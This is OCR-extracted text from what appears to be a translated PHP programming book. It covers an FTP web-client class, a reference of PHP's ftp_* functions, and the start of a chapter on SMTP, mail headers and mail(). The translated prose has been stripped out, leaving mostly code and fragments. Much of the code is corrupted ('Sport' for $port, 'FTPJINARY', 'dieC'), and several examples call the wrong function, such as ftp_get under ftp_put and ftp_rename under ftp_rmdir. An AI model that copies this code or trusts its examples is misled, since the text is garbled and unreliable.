return FALSE;
}
//
$logged_in = ftp_login($fh, $user, $pass);
if (!$logged_in) {
//
user_error("Could not authenticate on host ' $host: Sport '.\n");
return FALSE;
}
$conn = $fh;
return TRUE;

//

_destructor() ,
FTP, . (shutdown)
, :
function _destructor()
{
// FTP

- FTP

323

foreach ($this->connection as $k => $v)


if (is_resource($v))
ftp_quit($this->connection[$k]);
$this = NULL;

- FTP
- FTP. FTP Netscape Internet Explorer. URL FTP, FTP-
( f tp : //), . . ,
, . . URL
, .
- FTP ,
FTP- .
, :
FTP-
FTP-
FTP-
FTP-
FTP-
,
. ,
. - , ,
.
, :
FTP-
FTP-
FTP-

.
.
PHP- f tp_nlist( )
ftp_rawlist( ). -

10. FTP

324

, f t p _ n l i s t ( ) , a f t p _ r a w l i s t ( ) - . , , , f t p _ r a w l i s t ( ) , .
FTP. FTP- , - .
HTTP FTP-.

.
, ,
, - FTP-,
FTP- ,
, ,
FTP . .
.
4,1 .

. ,
.

. anonymous. -
. Apache SERVER_ADMIN ( SERVER_ADMIN
Apache httpd.conf) CGI
SERVERJJAME.

, , SERVER_ADMIN:
<?php
if (getenvCSERVERJVDMIN')) {

// SERVER_ADMIN ,
//
// FTP 1
define('SERVER.ADMIN', getenv('SERVERjMDMIN ));
} else {
//
//
define('SERVER_ADMIN', 'root' . getenv ('SERVER_NAME'));

.
, -

- FTP

'

325

, ,
FTP, FTP- tmp
-. :
class Ftp_Web_Client

<

var $conn,
$cwd,
$max_upload_size,
$mode,
Ssystype,
$tmp_dir = '/Imp';

// FTP-
// FTP-
//
//
// (ASCII BINARY)
// FTP-
//

t m p -.
, FTP- :
function Ftp_Web_Client($host, $user = 'anonymous',
: Spass = SERVER_ADMIN, Sport = 21)
{
'
-,',:
$fh = ftp_connect($host, Sport);

,/,,;. .

if (!$fh) {
//
user_error("Could not connect to host '$host:Sport'");
return FALSE;
"::>

'

'

$logged_in = ftp_login($fh, Suser, Spass);


if (!$logged_in) {
//
user_error("Could not authenticate on host '$host:Sport-.\n");
return FALSE;
'''''^'"(.

,..

$this->conn = $fh;

:'::,;:'

//

register_shutdown_function( // FTP
create_function('', 'ftp_quit($fh);)

);

"

'

"

// FTP-
$this->cwd = ftp_pwd($this->conn);
:
//
// 1
$this->max_uplbad_size = 1024 * 1024;
// BINARY

326

10. FTP
$this->mode = FTPJINARY;
// FTP-..
$this->systype = ftp_systype($this~>conn);

cd ( ) FTP-.
$this->cwd.
, ,
FTP-, , , , :
function cd($dir)
{
$return = ftp_chdir($this->conn, $dir);
if ($return) {
//- $this->cwd
$this->cwd =- ftp_pwd($this->conn);
} else {
"'}

user error("Could not cd into directory '$dir'. ");

' . ' '


.;"'
return $return;

.""'.

...'.

'

ls( ) FTP-. , .
, ,
.
, ls() , . , Is () , (, f reach ( )), .
function ls($directory = ' . ' )
{

//
$temp = ftp_rawlist($this->conn, $directory);

if (FALSE ~= $temp) {
// ,
user_error("The directory listings could not be. retrieved.");
return array ();

ftp_rawlist( ),
FTP-. ,
. UNIX
Win32. FTP-.

- FTP

327

, , . . , , .
.
FTP- . , .

FTP-, Windows_NT, :
07-31-01 06:
12-30-96 09:36AM

<DIR>

tools
34269WroxPBS2.zip

, UNIX,
:
-rw-r--r
-rw-r--r_-

zak
1 zai<

users
users

1007 Oct .19 05:33 thanks.php


5862 Jul 8 06:13 tips.php

.
subst (), st rtok() . , , :
switch ($this->systype) { //
case 'Windov/s_NT :
// FTP- WiriNT
$re = 7"' .
'([0-9-]+\s+' .
//
'\d\d:\d\d..)\s+' . //
'(\S+)\s+' .
//
'(.+)$/';
// /
break;
case 'UNIX':
// FTP-cepsepos UNIX
default:
// UNIX -
$re = '/' .
// Regex . .
'"(.)' .
// (//.)
'(\S+)\s+'
//
'\S+\s+' .
// ,
4\S+)\s+' .
II
4\S+)\s+' .
//
'(\S+)\s+' .
//
:
:
'(\S+\s+\S+\s+\S+\s+)' .
//
///
'(+)$/';
// /
: break;

328

10. FTP
//
$type = array( '-' => 'file', 'd' => 'directory');
Slistings = array ();

,
$temp. preg_match( ). Perl ,
.
, ,
$matches:
foreach ($temp as $entry) {
//
// ,
Smatch = preg_match($re, Sentry, Smatches);
, :
'

if (!$match) {
//
user_error ("The directory listings could not be parsed.");
return array ();

, ,
. , FTP-. Windows NT . NULL.
.
FTP- Windows
. UNIX, .
type , , , . ,
, . , .
size (int). <dir>, (0):
switch ($this->systype) {//
case 'Windows_NT' :
//
// WinNT
$listings[] = array (//
//

- FTP

329
'type' =>
is_nuiiieric($matches[2]) ? 'file' : ' 'directory',
'permissions' => NULL,
'owner'
=> NULL,
'group'
=> NULL,

'size'
'last mod'
'name'

=> (int)$matches[2],
=> $matches[1],
=> $matches[3]

);
break;
case 'UNIX';

-.''"

//
// UNIX FTP
default:
// UNIX -
$listings[] = array ( //
//
'type'
=> $type[$matches[1]],
'permissions' => $matches[2],
'owner'
=> $matches[3],
'group'
=> $matches[4],
'size'
=> $matches[5],
'last mod'
=> $matches[6],
'name'
=> $matches[7]
);
break;

,
FTP- Windows UNIX. . , :
return $listings;
(

get () FTP
. :
-

,
. , .
temp ( ), f tp_web_client_.
:
function get($file)

330

10. FTP
$tmp_name : = $this->tmp_dir . '/ftp_web_client_'
. md5($file . microtimeO);
Sresult = ftp_get($this->conn, $tmp_name,
$this->cwd . "/Sflle", $this->mode);

, . , , , .
readf ile( ) .
. , , , , .

.
, , :
if ($result) {
//
// TCP
header( "Content-Type: application/octet-stream"); :
//
headerC Content-Disposition: inline; '
. 'filenarae=' . urlencode ($file));
readf ile($tmp_name) ;
unlink($tmp_name);
exit();
//
//
'.':'.>. -.:..,

Sclean = htmlentities($file);

// -
//
user_error("Could not download file 'Sclean'.");
return FALSE;
p u t ( ) . FTP. get( ),
:
HTTP
FTP-
, ,
. ,
, , ,
.
:
function put($name, $tmp, $size)

- FTP

331

//
if :($size > $this->max_upload_size) {
$kb = $this->max_upload_size: / 1024;
user_error('Uploaded files must be less than '
. $kb , 'kb in size.');
return FALSE;
//
Sresult = ftp_put($this->conn, $name, Strap, $this->nrode);
unlink($tmp); ;
if (!$result) { /'..;

//
: // :-
'."//:
Sclean = htmlentities($name);
user_error("Could not upload file 'Sclean'.");

>

return Sresult;
'

"':

' . . ' ' '


, . . FTP- . ftp.wrox.com :
Sftp = new Ftp_Web_Client('ftp.wrox.com');

FTP - ,
. -
( )
, .
:

if ( 'Change to Selected Directory' == $_POST['action']) {


$ftp->cd($_POST['dir']);
} else if (isset($_POST['cwd'])) {
$ftp->cd($_POST['cwd']);
, . , get():

if ('Download Selected File' == $_POST['action']) {


;. if (isset($_POST['selected_file'])) {
$ftp->get($_POST['selected_file' ]);

332

10. FTP

} else {
user_error( "Please select a file to download!");

,
. , put( ):
if ('Upload File' == $_POST[' action']) {
if (isset($_FILES[ 'upload'])) {
:$ftp->put(
$_FILES [' upload '][' name'],
$_FILES [ 'upload' ]['tfflp_name'],
$_FILES . ['.upload '][' size1]

);

} else {

$error[] = "Please browse for a file to upload!";

, . , . ls( ) :
Sdirectory = array();
i
$file = array();
foreach ($ftp->ls($ftp->cwd) as Sentry) {
switch ( Sent ry[ 'type']) {
case 'directory';
$directory[] = Sentry ['name'];
break;
default:

//
//
$file[$entry[ 'name']] =
// default
sprintf("%s (%0.2f kb)", $entry['name'], Sent ry[' size'] / 1024);
break;

, , . HTML ;
, .
, , HTTP. , FTP-. -

- FTP

333

:
<form action="<?php echo(getenv('SCRIPT_NAME')); ?>"
enctype="multipart/form-data" method="POST">
<input type="hidden" name="cwd"
value="<?php echo(htmlentities(stripslashes ($ftp->cwd))); ?>" />
<input type="hidden" name="max_file_size"
value="<?php echo($ftp->max_file_size); ?>" />
:
<p><b>Current Working Directory :</b> <?php echo($ftp->cwd) ?></p>
,
. FTP-, (/)
. , ( . ) ( . . ) . ls( ).
select ,
cd( ). , :

<>
<select name="dir"> >

;;

<?php
if /' == $ftp->cwd) {
: echo("<option>/</option>");
} else {
echo("<option value=\'4$ftp->cwd}\"> . ({$ftp->cwd})</option>\n",
"<option value=\"{$ftp->cwd}/. .\"> .. </option>\n");
}
foreach (Sdirectory as $name => Sentry) {
printf(
"<option value=\"%s\"">%s</option>' . "\n",
"{$ftp->cwd}/$name",
$name

</select>
<input type="submit" name="action"
value=" Change to Selected Directory" />

select , . -

10. FTP

334

(submit),
get ( ) . , , :
<>
<select name="selected_file" size="12'>

<?php
foreach ($file as $name => Sentry) {
echo("<option value=\"$name\">$entry</option>\n");

</select><br />
cinput type="submit" name="action"
value="Download Selected File" /xbr /><br />

, ,
. , . , put ( ) :
' <input type="file" name=" upload" />
<input type="submit" narae="action" value="Upload File" />
</form>
(. 10.1):
1-J http: localhtnt/ProPHP-l/ChapterlO/Rp clientohp
E* Vw Search 50 Bookmarks tasks

Current Working Directory: /


I/ vj J|

Change to Selected Directoty

ftp.php (0.31 kb)


ftp_cdup.php (0.67 kb)
ftp_chdir.php (Q.64 kb)
ftp_client.php (10.95 kb)
flp_connect.php (0.11 kb)
ftp_delete.php (0.18 kb)
ftp_error-hondling_debugging.php (1.33 kb)
ftpjgetphp (0.86 kb)
flpjput.php(1.10kb)
ftp_get.php (0.62 kb)
ftpjogin.php (0.42 kb)
ftp_mdtm.php (0.37 kb)
Download Selected

file

Browse... J

Upload file |

Docunitni; Don (0,3 nap

. 10.1.

335

. , . " . "
, " . . " .
,
Change to Selected Directory.
.
, Download Selected File.
, , Browse
. Upload File.
, ,
FTK


int ftp_connect(string host [, int port]) - FTP
boolean f t p _ l o g i n ( i n t f t p _ l i n k , string user, string password) - FTP
bool f t p _ q u i t ( i n t f t p _ l i n k ) - FTP



string ftp_pwd(int ftp_link) -
FTP-
array f t p _ n l i s t ( i n t f t p _ l i n k , string directory) -
array ftp_rawlist(int f t p _ l i n k , s t r i n g directory) -


boolean ftp_cdup(int f t p _ l i n k ) - (. . cd . . )
f t p _ c h d i r ( i n t f t p _ l i n k , string directory) -

s t r i n g f t p _ m k d i r ( i n t f t p _ l i n k , string directory) -

336

boolean f t p _ r m d i r ( i n t f t p _ l i n k ,

10. FTP

string directory) -



int ftp_size(int f t p _ l i n k , s t r i n g f i l e p a t h ) -
int ftp_mdtm(int ftp_link, s t r i n g f i l e p a t h ) -


boolean ftp_get(int ftp_link, string local_file, string remote_file, int
mode) - FTP
Boolean f t p _ f g e t ( i n t f t p _ l i n k , resource file_pointer, string remote_file,
int mode) - FTP

boolean f t p _ p u t ( i n t f t p _ l i n k , string remote_file, string local_file, int
mode) - FTP-
boolean f t p _ f p u t ( i n t f t p _ l i n k , string remote_file, resource file_pointer,
int mode) FTP-

boolean ftp_rename(int f t p _ l i n k , string f r o m , string to) -
( ) FTP-
boolean ftp_delete(int f t p _ l i n k , s t r i n g f i l e p a t h ) - FTP


boolean ftp_pasv(int f t p _ l i n k , int enabled)-

boolean ftp_site(int f t p _ l i n k , s t r i n g command) - FTP- SITE
string ftp_systype(int f t p _ l i n k ) - FTP-


ftp_cdup()
boolean ftp_cdup(int ftp_link)

337

true false :
<?php
/* ftp */
$host = 'ftp.example.com';
$ftp_handle = ftp_connect($host)
or die("Could not connect to host '$host'.");
/* ftp- */
register_shutdown_function(create_function(' ', "ftp_quit($ftp_handle); "));
// (CWD)
$cwd = ftp_pwd($ftp_link);
// CWD ;
ftp_cdup($ftp_link)
or die( "Could hot set the Current Working Directory to the parent"
. " of ; the CWD (CWD is ; currently '$cwd')");
,;. $new_cwd .=' ftp_pw ($ftp_link);
; //
ftp_quit($ftp_link);
ftp_cdup() . CWD
$cwd, $new_cwd.

ftp_chdir()
boolean ftp^chdir(int ftp_link, string directory)

t rue false :
$dir = 'foo';

chdir($ftp_link, $dir)
or die("Could not set the current working directory to '$dir'");
.
ftp_connect()
int ftp_connect(string host [, int port])
false :
$host = 'ftp.example.com';
$ftp_handle = ftp_connect($host)
or die( "Could not connect to' host
'$host' on the default port.");
'

338

10. FTP

FTP . 0, FTP 21.

ftp_delete()
boolean ftp_delete(int ftp_link, string remote_file)
t rue false :

<?php
// , ftp_connect()
ftp_login() $file = 'teitip.txt';
ftp_delete($ftp, Sfile)
or die( "Could not delete file '$f lie '.").;:
FTP.

ftp_fget()
boolean ftp_fget(int ftp_link, int file_pointer, string remote_file, int mode)
t rue false :

<?php

$file = 'data.txt';
$mode ' '=: ''; . ;. //
$file_pointer = fopen($file, $mode)
or die("Could not open file '$file' in mode '.$mode '.".);. /
// ftp
$host = 'ftp.example.com';
$ftp_handle = ftp_cohnect($host)
or.die ("Could not connect to host 'Ihost'.");
ftp-
register_shutdown_function(
create_function(' ', "ftp_quit($ftp_handle); ")

);

%&? '

Suser = 'zak';
$pass = : 'foo';
ftp_login($ftp_handle, $user, $pass)
or die("Could not authenticate as user '$user'.");
//
$remote_file = 'remote_data.txt';
ftp_fget($ftp_handle, $file_pointer, $remote_file, FTP_ASCII)
or die( "Could not download remote file

?>

339

'$remote_file' using ftp_fget().");

,..,

: ':.;';;

/:

FTP
. f (), () fsockopen(). , ,
FTP_ASCII FTP_BINARY.

ftp_fput()
boolean ftp_fput(int ftp_link, string remote_file,
resource file_pointer, int mode)
true false :
<?php
//
1
$ = 'data.txt ;
$mode = '';
II
$file_pointer = fopen($file, $mode)
or die("Could not open file '$file' in mode '$raode'. ");
// 1k
$seek_position = 1024; :
fseek($fiie_pointer,: $seek_position)
: - : o r die( ''Could: not seek t o byte offset
. /
:
;.; ..:"' '$seek_position' in file 'Ifile'");
'i;:
// ftp
$host - 'ftp.example.com';
$ftp_handle = ftp_connect($host)
or die("Could not connect to host 'Shost'.");
// ftp-
register_shutdown_function(create_function ' ', "ftp_quit($ftp_handle);"));
;*;:;$user =' 'zak';
.
$pass = 'foo';
ftp_login($ftp_handle, $user, $pass)
or die("Could not authenticate as user '$user'.");
//
$ remote_f ile = ' remote_data . txt ' ;
ftp_fput($ftp_handle, $remote_file, $file_pointer, FTP_ASCII)
or die( "Could not upload data from file pointer to remote file " .1:
"'$remote_file' using ftp_fput(). ");


FTP.
fopen(), popen() fsockopen(). , ,
FTP_ASCII FTP_BINARY.

10. FTP

340

ftp_get()
boolean ftp_get(int ftp_link, string local_file, string_remote_file, int mode)
true false :

<?php
// , FTP
'//
$local_file = '/path/to/local_file.txf ;

$remote_file = 'remote_data.txt';
ftp_get($ftp_handle, $local_file, $remote_file, FTP_BINARY)
or dieC'Could not copy remote file '$remote_file' to local file " .

FTP. , ,
FTP_ASCII FTP_BINARY.

ftp_login()
boolean ftp_login(int ftp_link, string user, string password)
true false :

<?php
// ftp
$host = 'ftp.example.com';
$ftp_handle = ftp_connect($host)
or dieC'Could not connect to host 'Jhost'.");
// ftp-
register_shutdown_function(create_function(' ' , "ftp_quit($ftp_handle); "));
$user = 'zak';
$pass = 'foo';
ftp_login($ftp_handle, $user, $pass)
or dieC'Could not authenticate as user '$user'.");
?>., :'.
FTP, f tp_connect( ).

ftp_mdtm()
int ftp_mdtm(int ftp_link, string filepath)
UNIX, -1.
UNIX ,
, 1 1970 .

341

<?php
// , FTP
//
$remote^.file = 'remote_data.txt';
$mdtm = ftp_mdtm($ftp_handle> $remote_file)
or die("Could not get the last modification
time of remote file '$remote_file'. ");
$date_and_time = date('Y-m-d H:i:S', $mdtm);
echo("File '$remote_file' was last modified on $date_and_time");
?>

'

'

..-<


UNIX.
.

ftp_mkdir()
string ftp_mkdir(int ftp_link, string directory)
false :

<?php
:'// , FTP
//
:
:."
Sdirectory = 'fpo';
:

$created_dir = ftp_tnkdir($ftp_handle, Sdirectory)


or die("Could not create directory '$directory'.");
echo("Directory '$created_dir' was created. We asked the FTP server
to create a directory
named 'Sdirectory'.");
'

ftp_nlist()
array ftp_nlist(int ftp_link, string directory)
, , false :
:

<?
// , FTP
//
// FTP-
Sdirectory = ' . ';
$file_list = ftp_nlist($ftp_handle, Sdirectory)

10. FTP

342
;

"%;!

or die( "Could not list the files in directory '{directory'.");

echo("0irectory 'Sdirectory' contains the following files:");


print_r($file_list);

ftp_pasv()
boolean ftp_pasv(int ftp_link, int enabled)
true false :
<?php
// , FTP
//
$pasv_setting
= TRUE;
$pasv_setting_name = $pasv_setting ? 'enabled' : 'disabled';
if (ftp_pasv($ftp_handle, $pasv_setting)) {
echo("PASV was successfully $pasv_setting_name.");
} else {
echo("PASV could not be $pasv_setting_name.");

. , FTP- , .
FTP .

ftp_put()
boolean ftp_put(int ftp_link, string remote_file, string_local_file, int mode)
true false :
<?php
// , FTP
//
$local_file = '/path/to/local_file.txt';
$remote_file = 'remote_data.txt';
ftp_get($ftp_handle, $local_file, $remote_file, FTP_BINARY)
or dieC'Could not copy remote file '$remote_file' to local file " .

FTP-.
FTP_ASCII FTP_BINARY.

343

ftp_pwd()
string ftp_pwd(int ftp_link)
false :

<?
V.// , FTP
//

: echo("The current remote working directory is " . ftp_pwd ($ftp_handle));


?>;..'' "

:'v'%

' :

:;

. ."-'

.-''"'

.V

.
ftp_quit()
boolean ftp_quit(int ftp_link)
t rue false :
<?
// , FTP
//
ftp_quit($ftp_handle);
?>

FTP. FTP, ftp_connect(), f t p _ q u i t ( ) . , ,


, , FTP
.
HTTP, , , FTP , . FTP, ,
( FTP), - FTP
,
FTP-.
, FTP , .

ftp_rawlist()
array ftp_rawlist(int ftp_link, string directory)
false :
<?
// , FTP
//

344

10. FTP
//
$di rectory =
$file_list = ftp_rawlist($ftp_handle, Sdirectory)
or dieC'Could not list the files in directory '$di rectory '..");
echoC'Directory '$directory' contains the following files:");
print_r($file_list);
?>'

FTP- FTP LIST


.
LIST.
. ftp_systype( )
.

ftp_rename()
boolean ftp_rename (int ftp_link, string from, string to)
t rue false :
<?php
//, FTP
//
Sold = 'original.txt';
$new = 'backup.txt' ;
ftp_rename($ftp_handle, $old, $new)
or die("File 'Sold' could not be renamed to '$new'.");
( ) FTP.

ftp_rmdir()
boolean ftp_rmdir(int ftp_link, string directory)
true false :
<?php
// , FTP
//
Sdi rectory = 'temp';
ftp_rename($ftp_handle, $di rectory)
or die ("Directory 'Sdirectory' could not be removed.");
echoC'Directory 'Sdirectory' was removed.");

345

. -
, .

ftp_site()
boolean ftp_site(int ftp_link, string command)
t rue false :
<?php
// , FTP
//
//
Scommand = 'chmod 0755 /path/to/file. txt' ;
ftp_site($ftp_handle, $command)
or die( "Command 'Scommand' could not be run.");
echo( "Command '$command' was run successfully.");
:
?>

FTP SITE. SITE .


chmod. , SITE ,
REMOTEHELP.

ftp_size()
int ftp_size(int ftp_link, string filepath)
-1 :
<?php
// , FTP
//
Sfile = Vpath/to/file.txf;
$size = ftp_size($ftp_handle, Sfile);
if (-1 .== $size) {
echo("The size of file '$file' could not be determined.");
} else {
echo("File '$file' is $size bytes in size.");

ftp_systype()
string ftp_systype(int ftp_link)
FTP- NULL :
<?
// , FTP

10. FTP

346

. //
Ssystype = ftp_systype($ftpjiandle)
or die("The system type of the FTP server cannot be determined.");
echo("The FTP server's system type is '$systype'.");
FTP- SYST. ,
NULL. f tp_rawlist(), ,
, f t p _ r a w l i s t ( ).

FTP



$

HELP

ACCOUNT

APPEND

ASCII

ASCII

BELL

BINARY

BYE

QUIT

CASE

FTP str21ower(),

CD

ftp_chdir()

COUP

ftp_cdup()

CHMOD

CLOSE

FTP

CR

/ (\) ASCII


ftp_fget(),
ftp_fput(), ftp_get() ftp_put()

f tp_fget(),
ftp_fput(), ftp_get() ftp_put()

ftp_quit()

FTP


DEBUG
/
DELETE

DIR

LS

DISCONNECT FTP

347


ftp_delete()
ftp_quit()

FORM

GET

GLOB

/ (file globbing)

HASH

/
(#)

HELP

IDLE

IMAGE

BINARY

LCD

LS

ftp_rawlist()

MACDEF

MDELETE

MDIR

MLS

MGET

MKDIR

MLS

MODE

MODTIME

ftp_mdtm()

MPUT

NEWER

,
,

NLIST

- ftp_nlist()

NMAP

ftp_fget(),ftp_get()

chdir()

ftp_mkdir()

348

10. FTP


NTRANS

OPEN

FTP

ftp_connect()

PASSIVE

ftp_pasv()

PROMPT

PROXY

FTP
FTP

PUT

ftp_fput(),ftp_put()

PWD

ftp_pwd()

QUIT

FTP
FTP

ftp.quitQ

QUOTE

RECV

GET

REGET

RENAME

( ) ftp_rename()

RESET

RESTART

get
put

RHELP

RMDIR

RSTATUS

RUNIQUE

SEND

PUT

ftp_rmdir()

SENDPORT

/ PORT

SITE

SITE ftp_site()

SIZE

STATUS

STRUCT

ftp_size()

349


/
SUNIQUE


SYSTEM
TENEX
TRACE
TYPE

UMASK
USER
VERBOSE


TENEX;
/

ftp_systype()


ftp_fget(),
ftp_fput(), ftp_get() ftp_put()

umask

- ftp_login()

/

FTP ,
. ,
FTP .
,
FTP- -. . - ,
, - FTP
. -, ,
-, FTP- .
:
FTP
FTP

:
FTP
FTP, -

11

, - ,
-, ? POP IMAP, SMTP.
? ,
? ,
, , , .
, , .
? , : Usenet. Usenet - ,
,
. Usenet
, (newsgroups) . , , , , . Usenet , . , ,
.
, .
,
. :

Simple Mail Transfer Protocol (SMTP) -

351

ma i 1 ()
SMTP
Multipurpose Internet Message Extensions (MIME) -
MIME ma i 1 ()
MIME
SMTP
Usenet

,
.
, ,
-, .



. , , .
. ,
( ), ( ).
.

. , .
.
, , ,
POP ( ). ,
, - , ,
Hotmail Yahoo. , -,
, IMAP.
, , . .
.
SMTP.
, . , ,
SMTP, .

352

11.

POP Internet Message Access Protocol (IMAP), , .


,
, .


, , - -, .
, Microsoft Outlook Express Pine. - , . . , .
,
. , .

.

- Mail User Agent (MUA), - - Mail Transfer Agent (MTA). MUA ,
. ,
. , - Mail Delivery Agent (MDA).
, - MRA (Mail Retrieval Agent) . ,
,
MUA : POP IMAP.
.
, . , ,
, .

SMTP
MUA ,
,
, (SMTP). , SMTP
. , SMTP. telnet
25 ,
. ,

353

25. SMTP,
, . . :
# telnet somewhere.com 25
Trying 192.168.0.1...
Connected to somewhere.com
Escape character is '"]'.
220 somewhere.com ESMTP Sendmail 8.9.3/8.9.3; Sun, 28 Jan 2001 22:30:55 +0900
HELO whatever.com
250 whatever.com Hello IDENT:wankyu@whatever.com [192.168.0.2], Pleased to meet
you
MAIL FROM: wankyu@whatever.com
250 wankyu@whatever.com... Sender ok
RCPTTO: yonsuk9wnoelse.com
250 yonsuk@whoelse.com... Recipient ok
DATA

354 Enter mail, end with "." on a line by itself


Subject: Just a Note
Don't forget to bring your notebook tomorrow..
Have a nice read.
250 WAA29446 Message accepted for delivery
QUIT
221 whatever.com closing connection
Connection closed by foreign host.

SMTP - . ,
, / (CR/LF).
- . , , .
, , ,
ESMTP (Extended Simple Mail Transfer Protocol),
SMTP . ESMTP SMTP, , , , .
, , , , . , ,
,
. ,
, MAIL FROM, , . RCPT ,
. DATA 123. 989

354

11.

, . QUIT .
, (response
code), .
.
,
SMTP.
, ,
, , .


.
. , CR/LF.
UNIX (\),
Windows - (\)
(\). UNIX
(\), Windows
.
: CR, LF
(\\).

:
Return-Path: <wankyu@whatever.com>
Received: from whatever.com (IDENT:wankyu@whatever.com[192.168.0.2])
by mail.spmewhere.com (8.9.3/8.9.3) with SMTP id WAA29446
for yonsuk; Sun, 28 Jan 2001 23:18:09+0900
Date: Sun, 28 Jan 200123:18:09+0900
Prom: Wankyu Choi <wankyu@whatever.com>
To: yonsuk@whoelse.com
Message-Id: <F890755DE93ED411@whatever.com>
Subject: Just a Note
Don't forget to bring your notebook tomorrow.
Have a nice read.

-
. .
: CR LF (\r\n).
:
$the_last_header = "Subject: Just a note\r\n";
$blank_line = "\r\n";

355


, CR/LF,
.
, .
, , -
Return-Path ( ) Received (),
, , , , ,
.
Return-Path
Return-Path ,
. . - ,
.
Received
Received SMTP
, , (
- hops)
.
SMTP , 25
Received. ;
, Return-Path,
SMTP.
Message-ID
Message-ID , , ,
.
, ,
ID .



, .
: Date, From , . , , .

356

11.

Date
Date , , MUA, . :
,


,
Sun, 28 Jan 2001 23:18:09 +0900

:
23:18:09
+0900, . . UTC (Universal Time Coordinated)
28 2001 , 14:18:09 UTC,
. .
.
From
From.
, , .

, @ , :
wankyuPwhatever. com. "wankyu" - , whatever, com.
?
:

Wankyu Choi <wankyu@whatever.com>


"Choi, Wankyu" <wankyu@whatever.com>
wankyu@whatever.com (Da Man)
, . MUA , . . , .
, , -
.

357

() . , .
, . MUA ,
, , . ,
, , .

,
.
- Blind Carbon Copy ( ) -
. ,
, ,
. ,
, .


, . ,
, .
Reply-To
Reply-To ,
. ,
, . , From.

, , ,
, ,
.
Subject
Subject
.
,
, .

358

11.


,
. -, , :
X-Mailer: NeoMaller 1.0 Build 12
X-Sender-Department: Customer Service
,
MUA NeoMailer,
, , .
X-Mailer -, MUA.
,
, , . , .

, .


mail()
, ,
, mail():
boolean mail(mall_to, mail_subject, mail_body [, extra_headers])
m a i l ( ) :
mail_to
. . .
mail_subject
. Subj ect .

mail_body

extra_headers

, .
, Subject Body .
extra_headers,
CR/LF.

359

, Subject . , , . . .

mailQ
m a i l ( ) , , , php. ini. ,
Sendmail UNIX Exchange Server Windows,
SMTP, ,
.
, t r u e ,
. , m a i l ( )
false ,
, .
p h p . ini. :
[mail function]
SMTP = localhost
;for Win32 only
sendmail_from = me@localhost.com
;for Win32 only
;sendmail_path = ;for unix only, may supply arguments as well
(Defaults to local sendmail program - default is sendmail -t)
sendmail_path Sendmail, , m a i l ( ) , . UNIX sendmail_path
"/usr/lib/sendmail -t" ( ), , Sendmail /usr/lib.
, Qmail, Sendmail.
Qmail / u s r / l i b / s e n d m a i l , Sendmail Qmail. m a i l ( ) Qmail. sendmail , Sendmail, mail( ) . , mail() , sendmail_path,
, , /var/qmail/bin:
sendmail_path=/var/qmail/bin/qmail-inject

Sendmail, Qmail , : qmail-inject . mail(), Qmail QMAILMFTFIL ( Qmail Mail Follow-up-To File).
Qmail UNIX, . - QMAILMFTFILE - , . -

360

11.

qmail-inject /root/, lists -,


. , - :
qmail-inject: fatal: read error

$QMAILMFTFILE , (
) - :
export -n QMAILMFTFILE

[mail f u n c t i o n ] php. ini Windows SMTP, .


(relays); , , .
, . , ,
SMTP- -. IIS Windows NT, localhost .
, ,
.
, Windows
CR/LF.
\, SMTP- Windows
, .
, m a i l ( ) MS Exchange Server. Exchange Server 5.5
, , - m a i l ( )
IMAP . .
SMTP,
,
Exchange Server.
Exchange Server 5.5 . ,
Exchange Server .
, Enable Protocol IMAP4
Protocol Enable Fast Message Retrieval .

, - 30
. m a i l ( ) , :
set_time_limit(3600);

361

-, 1 .
. ,
.
, - ,
.
m a i l ( ) . wankyu@whatever. com, . , :

<?php

// mail_test.php
$mail_to = "someone@a.com";
$mail_f rom = "spammer@b. com" ;
$mail_reply_to = "spammer2@b.com"; ,,,.
$mail_cc = "someoneelse@a.coiti,yetanotherone@a.com";
: ,$mail_bcc = "mole@a.com";
$mail_headers =. "From: $mail_from\r\nReply-to:
$mall_reply_to\r\nCc:'$mail_cc\r\nBcc: $mail_bcc";
$mail_subject = "I know a secret to your success!";
$mail_body = "Mail me back right now!";
if (mail($mail_to, $mail_subject, $mail_body, $mail_headers)) {
echo( "Successfully sent an email titled -$mail_subject'! ");
} else {
echoC'An error occurred while attempting to send an email titled
'$mail_subject'!");

''

: someone@a.com, someoneelse@a.com, yetanotherone@a.com mole@a.com, , , , mole@a . com.



. ,
.
. My_Mail.

My_Mail
My_Mail ,
,
. , .

362

11.

-, :
<?php

// my_mail_class.php

:; :

class My_Mail
{

var $to = ";


var $from = ' ' ;
var $reply_to .= ";
var $cc = ' ' ;
var $bcc = ' ' ;
var $subject =..'.';

$body :
var $body .= ";

$validate_einail true, .
$rigorous_email_check true, DNS :
!

var $validate_email = true;


: : : var $rigorous_email_check = false;

true, :
var $allow_empty_subject = false;
;::: var $allow_empty_body = false;
$headers .
CR/LF . , Subject:
var $headers -= array();

, . , , . , :
var $ERROR_MSG;

363

,:,:,
var
van
var
:.;":.;
: '"'".
:;

$ERR_EMPTY_MAIL_JO = "Empty to field!";


$ERR_EMPTY_SUBJECT = "Empty subject field! ";'
$ERR_EMPTY_BODY : ; = "Empty body field!";
$ERR_SEND_MAIL_FAILURE = "An error occured while attempting to send
:
email! "; ; . '' .
var $ERR_TQ_FIEID_INVALID = "To field contains invalid email
add re ss (es)! ";
var $ERR^CC_FIEID_INVALID = "Cc ' :field contains invalid email

addressees)! ";

:?&: .

var $ERR_8CC1FIELD_INVALIQ = " field contains invalid email


;
. : ';.: address(es)! ";
;
var $STR_NO_ERROR = "No error has occured yet.";

checkFieldsQ
checkFieldsO ,
. . $rigorous_email_check , DNS:
function checkFieldsO
{
: : if (empty($this->tp)) {
$this->ERROR_MSG .,= $this->ERR_EMPTY_MAIL_TO;
return false;

}
if (!$this->allow_empty_sub]ect && empty ($this->subject)) {
$this->ERROR_MSG;= $this->ERR_EMPTY_SUBJECT;
:
' r e t u r n falser : ? ; : ;

,:

f::
'/'v'V :'.'.:"',:

'"Wi'i^:

if ( ! $this->allow_en)pty_body && empty($this->body)) {


$this->ERROR_MSG ^ $this->ERR_EMPTY_BODY;
return false;
'"!;';,.

,
. :
$this->to = ereg_replace("; ", ",", $this->to);
$this->cC:= ereg_replace("; ", ",", $this->cc);
$this->bcc = ereg_replace("; ", ","-, $this->bcc);
, $il_headers:
if (! empty ($this->f )) $this->headers[] = "From: $this->from";
if (!empty($this->reply_to)) $this->headers[] =
"Reply-To; $this->reply_to";

11.

364

, .
$validate_email , $rigorous_email_check
, :
I/ , .
if ($this->validate_email) {
$to_emails = explode(",", $this->to);

if (!empty($this->cc)) $cc_emails = explode(",", $this->cc);


if (!empty($tnis->bcc)) $bcc_emails = explode(","> $this->bcc);

// MX.
if ($this->rigorous_email_check) {
if (!$this->rigorousEmailCheck($to_emails)) {
